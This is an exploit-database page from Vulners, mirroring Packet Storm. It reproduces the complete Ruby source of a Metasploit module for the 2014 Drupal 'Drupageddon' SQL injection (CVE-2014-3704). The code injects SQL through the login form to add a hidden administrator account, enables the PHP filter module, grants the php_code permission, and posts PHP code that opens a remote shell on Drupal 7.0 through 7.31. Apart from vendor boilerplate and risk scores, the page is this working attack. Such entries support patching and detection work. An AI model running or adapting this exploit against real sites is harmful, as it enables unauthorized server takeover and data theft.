Lucene search
K

Drupal HTTP Parameter Key/Value SQL Injection

🗓️ 18 Oct 2014 00:00:00Reported by Brandon PerryType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 74 Views

Drupal HTTP Parameter Key/Value SQL Injection module exploits a vulnerability to achieve remote shell on the vulnerable instance. Tested against Drupal 7.0 and 7.31

Related
Code
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',  
'Description' => %q{  
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection  
(aka Drupageddon) in order to achieve a remote shell on the vulnerable  
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed  
in 7.32).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'SektionEins', # discovery  
'Christian Mehlmauer', # msf module  
'Brandon Perry' # msf module  
],  
'References' =>  
[  
['CVE', '2014-3704'],  
['URL', 'https://www.drupal.org/SA-CORE-2014-005'],  
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [['Drupal 7.0 - 7.31',{}]],  
'DisclosureDate' => 'Oct 15 2014',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])  
], self.class)  
  
register_advanced_options(  
[  
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),  
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])  
], self.class)  
end  
  
def uri_path  
normalize_uri(target_uri.path)  
end  
  
def admin_role  
datastore['ADMIN_ROLE']  
end  
  
def iter  
datastore['ITER']  
end  
  
def itoa64  
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'  
end  
  
# PHPs PHPASS base64 method  
def phpass_encode64(input, count)  
out = ''  
cur = 0  
while cur < count  
value = input[cur].ord  
cur += 1  
out << itoa64[value & 0x3f]  
if cur < count  
value |= input[cur].ord << 8  
end  
out << itoa64[(value >> 6) & 0x3f]  
break if cur >= count  
cur += 1  
  
if cur < count  
value |= input[cur].ord << 16  
end  
out << itoa64[(value >> 12) & 0x3f]  
break if cur >= count  
cur += 1  
out << itoa64[(value >> 18) & 0x3f]  
end  
out  
end  
  
def generate_password_hash(pass)  
# Syntax for MD5:  
# $P$ = MD5  
# one char representing the hash iterations (min 7)  
# 8 chars salt  
# MD5_raw(salt.pass) + iterations  
# MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5  
iter_char = itoa64[iter]  
salt = Rex::Text.rand_text_alpha(8)  
md5 = Rex::Text.md5_raw("#{salt}#{pass}")  
# convert iter from log2 to integer  
iter_count = 2**iter  
1.upto(iter_count) {  
md5 = Rex::Text.md5_raw("#{md5}#{pass}")  
}  
md5_base64 = phpass_encode64(md5, md5.length)  
md5_stripped = md5_base64[0...22]  
pass = "$P\\$" + iter_char + salt + md5_stripped  
vprint_debug("#{peer} - password hash: #{pass}")  
  
return pass  
end  
  
def sql_insert_user(user, pass)  
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"  
end  
  
def sql_make_user_admin(user)  
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"  
end  
  
def extract_form_ids(content)  
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/  
form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/  
  
vprint_debug("#{peer} - form_build_id: #{form_build_id}")  
vprint_debug("#{peer} - form_token: #{form_token}")  
  
return form_build_id, form_token  
end  
  
def exploit  
  
# TODO: Check if option admin_role exists via admin/people/permissions/roles  
  
# call login page to extract tokens  
print_status("#{peer} - Testing page")  
res = send_request_cgi({  
'uri' => uri_path,  
'vars_get' => {  
'q' => 'user/login'  
}  
})  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
form_build_id, form_token = extract_form_ids(res.body)  
  
user = Rex::Text.rand_text_alpha(10)  
pass = Rex::Text.rand_text_alpha(10)  
  
post = {  
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),  
'name[0]' => Rex::Text.rand_text_alpha(10),  
'pass' => Rex::Text.rand_text_alpha(10),  
'form_build_id' => form_build_id,  
'form_id' => 'user_login',  
'op' => 'Log in'  
}  
  
print_status("#{peer} - Creating new user #{user}:#{pass}")  
res = send_request_cgi({  
'uri' => uri_path,  
'method' => 'POST',  
'vars_post' => post,  
'vars_get' => {  
'q' => 'user/login'  
}  
})  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
# login  
print_status("#{peer} - Logging in as #{user}:#{pass}")  
res = send_request_cgi({  
'uri' => uri_path,  
'method' => 'POST',  
'vars_post' => {  
'name' => user,  
'pass' => pass,  
'form_build_id' => form_build_id,  
'form_id' => 'user_login',  
'op' => 'Log in'  
},  
'vars_get' => {  
'q' => 'user/login'  
}  
})  
  
unless res and res.code == 302  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
cookie = res.get_cookies  
vprint_debug("#{peer} - cookie: #{cookie}")  
  
# call admin interface to extract CSRF token and enabled modules  
print_status("#{peer} - Trying to parse enabled modules")  
res = send_request_cgi({  
'uri' => uri_path,  
'vars_get' => {  
'q' => 'admin/modules'  
},  
'cookie' => cookie  
})  
  
form_build_id, form_token = extract_form_ids(res.body)  
  
enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/  
enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }  
  
unless enabled_matches  
fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")  
end  
  
post = {  
'modules[Core][php][enable]' => '1',  
'form_build_id' => form_build_id,  
'form_token' => form_token,  
'form_id' => 'system_modules',  
'op' => 'Save configuration'  
}  
  
enabled_matches.each do |match|  
post[match.captures[0]] = '1'  
end  
  
# enable PHP filter  
print_status("#{peer} - Enabling the PHP filter module")  
res = send_request_cgi({  
'uri' => uri_path,  
'method' => 'POST',  
'vars_post' => post,  
'vars_get' => {  
'q' => 'admin/modules/list/confirm'  
},  
'cookie' => cookie  
})  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
# Response: http 302, Location: http://10.211.55.50/?q=admin/modules  
  
print_status("#{peer} - Setting permissions for PHP filter module")  
  
# allow admin to use php_code  
res = send_request_cgi({  
'uri' => uri_path,  
'vars_get' => {  
'q' => 'admin/people/permissions'  
},  
'cookie' => cookie  
})  
  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
form_build_id, form_token = extract_form_ids(res.body)  
  
perm_regex = /name="(.*)" value="(.*)" checked="checked"/  
enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }  
  
unless enabled_perms  
fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")  
end  
  
# get administrator role id  
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/  
vprint_debug("#{peer} - admin role id: #{id}")  
  
unless id  
fail_with(Failure::Unknown, "Could not parse out administrator ID")  
end  
  
post = {  
"#{id}[use text format php_code]" => 'use text format php_code',  
'form_build_id' => form_build_id,  
'form_token' => form_token,  
'form_id' => 'user_admin_permissions',  
'op' => 'Save permissions'  
}  
  
enabled_perms.each do |match|  
post[match.captures[0]] = match.captures[1]  
end  
  
res = send_request_cgi({  
'uri' => uri_path,  
'method' => 'POST',  
'vars_post' => post,  
'vars_get' => {  
'q' => 'admin/people/permissions'  
},  
'cookie' => cookie  
})  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
# Add new Content page (extract csrf token)  
print_status("#{peer} - Getting tokens from create new article page")  
res = send_request_cgi({  
'uri' => uri_path,  
'vars_get' => {  
'q' => 'node/add/article'  
},  
'cookie' => cookie  
})  
  
unless res and res.body  
fail_with(Failure::Unknown, "No response or response body, bailing.")  
end  
  
form_build_id, form_token = extract_form_ids(res.body)  
  
# Preview to trigger the payload  
data = Rex::MIME::Message.new  
data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')  
data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')  
data.add_part(form_token, nil, nil, 'form-data; name="form_token"')  
data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')  
data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')  
data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')  
data.add_part('Preview', nil, nil, 'form-data; name="op"')  
data.add_part(user, nil, nil, 'form-data; name="name"')  
data.add_part('1', nil, nil, 'form-data; name="status"')  
data.add_part('1', nil, nil, 'form-data; name="promote"')  
post_data = data.to_s  
  
print_status("#{peer} - Calling preview page. Exploit should trigger...")  
send_request_cgi(  
'method' => 'POST',  
'uri' => uri_path,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'vars_get' => {  
'q' => 'node/add/article'  
},  
'cookie' => cookie  
)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Oct 2014 00:00Current
0.7Low risk
Vulners AI Score0.7
EPSS0.94366
74